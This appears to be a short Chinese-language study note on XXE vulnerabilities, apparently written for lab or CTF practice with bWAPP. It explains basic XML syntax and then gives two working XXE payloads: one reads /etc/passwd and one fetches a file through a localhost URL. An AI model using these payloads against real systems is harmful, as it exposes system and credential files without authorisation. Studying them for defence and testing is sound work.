XXE漏洞
XML 被設計用來傳輸和存儲數(shù)據(jù)。
語法規(guī)則
<?xml version="1.0" encoding="UTF-8"?> <!--XML 聲明-->
<girl age="18"> <!--自定的根元素girl;age屬性需要加引導-->
<hair>長頭發(fā)</hair> <!--自定義的4個子元素,即girl對象的屬性-->
<eye>大眼睛</eye>
<face>可愛的臉龐</face>
<summary>可愛美麗的女孩</summary>
</girl> <!--根元素的閉合-->
Payload
獲取賬戶密碼:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>&xxe;</xxe>
獲取flag.txt
讀取網(wǎng)站任意文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
Reference:
《XXE漏洞利用技巧:從XML到遠程代碼執(zhí)行》
《安仔課堂:實戰(zhàn)講解XXE漏洞的利用與防御策略》


